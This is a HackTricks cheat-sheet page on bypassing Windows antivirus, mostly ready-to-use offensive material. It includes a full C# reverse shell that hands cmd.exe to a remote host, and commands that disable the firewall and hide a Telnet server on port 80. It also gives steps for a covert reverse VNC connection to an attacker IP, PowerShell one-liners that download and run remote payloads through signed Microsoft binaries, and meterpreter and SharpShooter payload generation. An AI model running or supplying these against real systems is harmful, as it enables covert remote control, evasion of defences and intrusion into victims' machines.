hacktricks/windows/av-bypass.md

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AV Bypass

Telnet Server

Until Windows10, all Windows came with a Telnet server that you could install (as administrator) doing:

pkgmgr /iu:"TelnetServer" /quiet

Make it start when the system is started and run it now:

sc config TlntSVR start= auto obj= localsystem

Change telnet port (stealth) and disable firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Download it from: http://www.uvnc.com/downloads/ultravnc.html (you want the bin downloads, not the setup)

ON THE HOST: Execute winvnc.exe and configure the server:

  • Enable the option Disable TrayIcon
  • Set a password in VNC Password
  • Set a password in View-Only Password

Then, move the binary winvnc.exe and newly created file UltraVNC.ini inside the victim

Reverse connection

The attacker should execute inside his host the binary vncviewer.exe -listen 5900 so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon winvnc.exe -run and run winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

WARNING: To maintain stealth you must not do a few things

  • Don't start winvnc if it's already running or you'll trigger a popup. check if it's running with tasklist | findstr winvnc
  • Don't start winvnc without UltraVNC.ini in the same directory or it will cause the config window to open
  • Don't run winvnc -h for help or you'll trigger a popup

GreatSCT

Download it from: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Inside GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Now start the lister with msfconsole -r file.rc and execute the xml payload with:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Current defender will terminate the process very fast.

Compiling our own reverse shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

First C# Revershell

Compile it with:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Use it with:

back.exe <ATTACKER_IP> <PORT>
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}

https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs

C# using compiler

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Automatic download and execution:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# obfuscators list: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp

Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/

https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf

https://github.com/l0ss/Grouper2

{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}

{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}

Other tools

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless: 
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload: 
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut: 
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

{% embed url="https://github.com/EgeBalci/sgn" %}

{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.